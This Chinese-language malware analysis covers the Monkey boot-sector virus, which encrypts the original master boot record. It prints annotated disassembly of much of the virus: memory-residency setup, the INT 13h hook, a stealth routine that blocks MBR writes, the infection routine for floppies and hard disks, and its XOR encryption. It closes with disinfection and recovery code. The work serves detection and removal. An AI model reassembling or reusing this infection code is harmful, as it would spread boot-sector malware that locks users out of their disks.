Monkey 病毒的分析和防治
Monkey 病毒介绍:
   Monkey,即猴子病毒传播硬盘和软盘的引导区,总长度为 01F4H(500字节),它将原引导记录加密后保存,在系统读出时先解密再送出,结果造成病毒不在内存中时,系统无法得到正常的引导记录,以至对所有硬盘分区无法访问。只有当从有病毒的盘启动时,才能正常访问硬盘。如果系统有以上情况,就应怀疑有无此病毒。检测时可以用干净盘启动,再用 
  DISKEDIT 编辑物理硬盘 0 柱面 0 磁道 1 扇区的主引导记录,对比以下源代码相同偏移出的内容是否相同即可确认。
病毒源代码分析:
  
  1. 病毒的加载部分:
  
  当病毒传染了引导记录后,系统启动时将病毒装入内存执行,然后病毒将系统内存减少 1K,将自己隐藏在其中。
  
                        
  ...
  
  0B3E:0097 CD12        INT    
  12           ;取内存容量
  0B3E:0099 BE4C00      MOV    SI,004C 
       ;返回 AX = 内存 K 数
  0B3E:009C 56          PUSH   
  SI
  0B3E:009D 2E          CS:
  0B3E:009E 803E6F0102  CMP    BYTE PTR [016F],02
  0B3E:00A3 740E        JZ     
  00B3        ;软盘启动转 00B3
  0B3E:00A5 E8F500      CALL   019D        
  ;将内存减少 1K,见下
  0B3E:00A8 BFFC01      MOV    DI,01FC 
      ;保留原 INT 13 到 01FC
  0B3E:00AB B90200      MOV    CX,0002 
      ;0000:004c -> 07c0:01fc
  0B3E:00AE FC          CLD
  0B3E:00AF F3          REPZ
  0B3E:00B0 A5          MOVSW
...
;==============================================================
  ;将内存减少 1 K
  ;0000:0413 处是常规内存的容量,把此处数值减少,系统将不会存取减少的部分
  ;但这时候,用 MEM 或 MI 看内存,将会发现常规内存只有 639K,这也是大部分
  ;引导区病毒的通病,所以有空一定常常用 MEM 看看内存(不过对大部分文件型
  ;病毒和狡猾的引导区病毒无效!)
  
  0B3E:019D 48        DEC    
  AX         ;减少 1K
  0B3E:019E A31304    MOV    [0413],AX
  0B3E:01A1 B106      MOV    CL,06
  0B3E:01A3 D3E0      SHL    AX,CL
  0B3E:01A5 0420      ADD    AL,20
  0B3E:01A7 8EC0      MOV    ES,AX
  0B3E:01A9 C3        RET
  
                        
  ...
  
  0B3E:00B6 5E          POP     
  SI        ;SI = 004Ch,为 INT 13 中断向量地址
  0B3E:00B7 C7042000    MOV    WORD PTR [SI],0020
  0B3E:00BB 894402      MOV    [SI+02],AX 
      ;截取 INT 13 到 CS:0020
  0B3E:00BE 0E          PUSH   
  CS
  0B3E:00BF 1F          POP     
  DS
  0B3E:00C0 E8E700      CALL   01AA        
  ;驻留内存
  0B3E:00CE 51          PUSH   
  CX
  0B3E:00CF 53          PUSH   
  BX
  
                        
  ...
2. 病毒的传播部分:
;========================================================================
  ;    新 INT 13 程序,位于 CS:0020 处
  ;========================================================================
  0B3E:0020 1E        PUSH    
  DS
  0B3E:0021 56        PUSH    
  SI
  0B3E:0022 57        PUSH    
  DI
  0B3E:0023 50        PUSH    
  AX
  0B3E:0024 51        PUSH    
  CX
  0B3E:0025 52        PUSH    
  DX
  0B3E:0026 E89901    CALL   01C2         
  ;硬盘 CX = 0000 软盘 CX = 0100
  0B3E:0029 80FC02    CMP    AH,02
  0B3E:002C 750E      JNZ    003C
  
  0B3E:002E 52        PUSH   DX           
  ;读盘
  0B3E:002F 2BC0      SUB    AX,AX        
  ;取系统时间
  0B3E:0031 CD1A      INT    1A
  0B3E:0033 80FA40    CMP    DL,40        
  ;可以看到病毒并不是每次读盘读要传播
  0B3E:0036 5A        POP    
  DX           ;而是先判断时间
  0B3E:0037 7303      JNB    003C
  0B3E:0039 E8A900    CALL   00E5         
  ;传染
  0B3E:003C 5A        POP    
  DX
  0B3E:003D 59        POP    
  CX
  0B3E:003E 58        POP    
  AX
  0B3E:003F 5F        POP    
  DI
  0B3E:0040 52        PUSH    
  DX
  0B3E:0041 51        PUSH    
  CX
  0B3E:0042 50        PUSH    
  AX
  
  0B3E:0043 83F903    CMP    CX,+03
  0B3E:0046 733A      JNB    0082
  0B3E:0048 3A34      CMP    DH,[SI]
  0B3E:004A 7536      JNZ    0082         
  ;非读原引导区退出
  0B3E:004C 80FC02    CMP    AH,02        
  ;读原引导区转 005F
  0B3E:004F 740E      JZ    005F
  0B3E:0051 80FC03    CMP    AH,03        
  ;写原引导区转 0056
  0B3E:0054 752C      JNZ    0082
  0B3E:0056 80FA80    CMP    DL,80        
  ;写软盘退出
  0B3E:0059 7227      JB    0082
  0B3E:005B 2AE4      SUB    AH,AH        
  ;写硬盘原引导记录
  0B3E:005D EB23      JMP    0082         
  ;则屏蔽
  
  ;在这儿可以看到,当病毒在内存中时,写硬盘引导记录是无效的
  ;所以,这时候用 FDISK/MBR 或进行分区操作等都等于没有操作
  
  0B3E:005F E82E00    CALL    0090         
  ;读原引导记录
  0B3E:0062 7221      JB      
  0085
  0B3E:0064 E8F800    CALL    015F         
  ;判传染标志
  0B3E:0067 7408      JZ      
  0071         ;未传染退出
  0B3E:0069 E8FB00    CALL    0167
  0B3E:006C 7403      JZ      
  0071
  0B3E:006E F8        CLC
  0B3E:006F EB14      JMP    0085
  
  0B3E:0071 E80A01    CALL    017E         
  ;得到原引导记录位置
  0B3E:0074 8A7401    MOV    DH,[SI+01]
  0B3E:0077 58        POP    
  AX
  0B3E:0078 E81500    CALL    0090         
  ;读出原引导记录
  0B3E:007B E86101    CALL    01DF         
  ;解密
  0B3E:007E 59        POP    
  CX
  0B3E:007F 5A        POP    
  DX
  0B3E:0080 EB06      JMP    0088         
  ;退出
  
  ;从这一段可以看到,在系统读引导记录时,病毒先调出原来的引导记录
  ;解密后传送给系统,但当系统中没有病毒时,就无法得到正常的引导记录,
  ;这就是为什么用干净的软盘启动进不了硬盘的原因。
  
  0B3E:0082 E80B00    CALL    0090
  0B3E:0085 1F        POP    
  DS
  0B3E:0086 1F        POP    
  DS
  0B3E:0087 1F        POP    
  DS
  0B3E:0088 5E        POP    
  SI
  0B3E:0089 1F        POP    
  DS
  0B3E:008A CA0200    RETF    0002
  
  ;=====================================================================
  ;病毒读盘
  0B3E:008D B80102    MOV    AX,0201
  0B3E:0090 9C        PUSHF             
  ;病毒调用 INT 13H
  0B3E:0091 2E        CS:
  0B3E:0092 FF1EFC01  CALL    FAR [01FC]
  0B3E:0096 C3        RET
  
  
  ;==============================================================
  ;    传染子程序
  ;==============================================================
  0B3E:00E5 2BC9        SUB    
  CX,CX
  0B3E:00E7 41          INC     
  CX
  0B3E:00E8 51          PUSH   
  CX
  0B3E:00E9 8A34        MOV    
  DH,[SI]
  0B3E:00EB E89FFF      CALL   008D         
  ;读出引导记录
  0B3E:00EE 7264        JB     
  0154
  0B3E:00F0 E86C00      CALL   015F         
  ;判病毒标志
  0B3E:00F3 745F        JZ     
  0154         ;已传染退出
  0B3E:00F5 E86F00      CALL   0167
  0B3E:00F8 7521        JNZ    
  011B         ;已传染
  0B3E:00FA 26          ES:
  0B3E:00FB 83BFFA0100  CMP    WORD PTR [BX+01FA],+00
  0B3E:0100 7452        JZ     
  0154         ;硬盘退出
  0B3E:0102 26          ES:
  0B3E:0103 C787FA010000 MOV   WORD PTR [BX+01FA],0000
  0B3E:0109 B101        MOV    
  CL,01         ;写病毒
  0B3E:010B E84800      CALL   0156
  0B3E:010E 7244        JB     
  0154
  0B3E:0110 41          INC     
  CX
  0B3E:0111 8A7402      MOV    DH,[SI+02]
  0B3E:0114 E876FF      CALL   008D
  0B3E:0117 723B        JB     
  0154
  0B3E:0119 58          POP     
  AX
  0B3E:011A 51          PUSH   
  CX
  0B3E:011B E86000      CALL   017E         
  ;转换
  0B3E:011E E8BE00      CALL   01DF         
  ;加密
  0B3E:0121 46          INC     
  SI
  0B3E:0122 E83100      CALL   0156         
  ;保存原引导记录
  0B3E:0125 4E          DEC     
  SI
  0B3E:0126 722C        JB     
  0154
  0B3E:0128 E8B400      CALL   01DF         
  ;解密
  0B3E:012B 51          PUSH   
  CX
  0B3E:012C E87B00      CALL   01AA         
  ;移动病毒到原引导区
  0B3E:012F 59          POP     
  CX
  0B3E:0130 52          PUSH   
  DX
  0B3E:0131 80FA80      CMP    DL,80
  0B3E:0134 7302        JNB    
  0138
  0B3E:0136 32D2        XOR    
  DL,DL
  0B3E:0138 26          ES:
  0B3E:0139 8997DC00    MOV    [BX+00DC],DX
  0B3E:013D 5A          POP     
  DX
  0B3E:013E 26          ES:
  0B3E:013F 888FDA00    MOV    [BX+00DA],CL
  0B3E:0143 26          ES:
  0B3E:0144 C787FE0155AA MOV   WORD PTR [BX+01FE],AA55
  0B3E:014A 59          POP     
  CX
  0B3E:014B 51          PUSH   
  CX
  0B3E:014C 26          ES:
  0B3E:014D 888F6F01    MOV    [BX+016F],CL
  0B3E:0151 E80200      CALL   0156         
  ;写病毒到引导记录
  0B3E:0154 58          POP     
  AX
  0B3E:0155 C3          RET
  
  ;===========================================================
  ;保存原引导记录
  0B3E:0156 8A34        MOV    
  DH,[SI]
  0B3E:0158 B80103      MOV    AX,0301
  0B3E:015B E832FF      CALL    0090
  0B3E:015E C3          RET
  
  0B3E:015F 26          ES:
  0B3E:0160 81BFFA011992 CMP    WORD PTR [BX+01FA],9219
  0B3E:0166 C3          RET
  
  0B3E:0167 26          ES:
  0B3E:0168 81BF19015061 CMP    WORD PTR [BX+0119],6150
  0B3E:016E C3          RET
  
  ;===========================================================
  ;查表得到保存原引导记录的扇区号
  0B3E:017E 57        PUSH    
  DI
  0B3E:017F 56        PUSH    
  SI
  0B3E:0180 26        ES:
  0B3E:0181 8A4714    MOV    AL,[BX+14]
  0B3E:0184 B90400    MOV    CX,0004
  0B3E:0187 8BF1      MOV    SI,CX
  0B3E:0189 4E        DEC    
  SI
  0B3E:018A 38847601  CMP    [SI+0176],AL
  0B3E:018E 7406      JZ    0196
  0B3E:0190 E2F5      LOOP    0187
  0B3E:0192 B103      MOV    CL,03
  0B3E:0194 EB04      JMP    019A
  0B3E:0196 8A8C7A01  MOV    CL,[SI+017A]
  0B3E:019A 5E        POP    
  SI
  0B3E:019B 5F        POP    
  DI
  0B3E:019C C3        RET
  
                      
  ...
  
  ;================================================================
  ;加密/解密原引导记录,从这一段可以看到,病毒只是把原引导记录简单
  ;的和 2E 进行异或,所以即使不慎用 FDISK/MBR 把病毒破坏掉了,也可以
  ;手工简单的将引导记录解密
  
  0B3E:01DF 57     PUSH    DI
  0B3E:01E0 51     PUSH    CX
  0B3E:01E1 50     PUSH    AX
  0B3E:01E2 8BFB   MOV    DI,BX
  0B3E:01E4 B90002 MOV    CX,0200
  0B3E:01E7 FC     CLD
  0B3E:01E8 26     ES:
  0B3E:01E9 8A05   MOV    AL,[DI]
  0B3E:01EB 342E   XOR    AL,2E
  0B3E:01ED AA     STOSB
  0B3E:01EE E2F8   LOOP    01E8
  0B3E:01F0 58     POP    AX
  0B3E:01F1 59     POP    CX
  0B3E:01F2 5F     POP    DI
  0B3E:01F3 C3     RET
  
  杀毒要点:
1. 内存中的病毒最好用查找字符串的方法,如果找到特征字符串,可以把病毒中 INT 13H 传染部分的有关代码跳过,假设已找到病毒的内存段地址在 DS 
  中:
  
          mov    word ptr ds:[0020h],0ff2eh
          mov    word ptr ds:[0022h],0fc2eh
          mov    byte ptr ds:[0024h],1
          mov    word ptr ds:[01d0h],0
2. 磁盘中的病毒,可以先读出有病毒的引导记录,再在病毒体中的 00DA 中得到原引导记录的扇区号,在 00DC 中的到磁头号,再读出加密过的原引导记录,解密后再写如引导区如下:
  
          xor     ch,ch 
              ;read out 
  old boot area
          mov     cl,byte 
  ptr file_exec+0dah
          mov     dx,word 
  ptr file_exec+0dch
          call    read_disk 
          ;
          
          call    monkey_decode 
       ;de-code it
          call    write_to_boot
          ...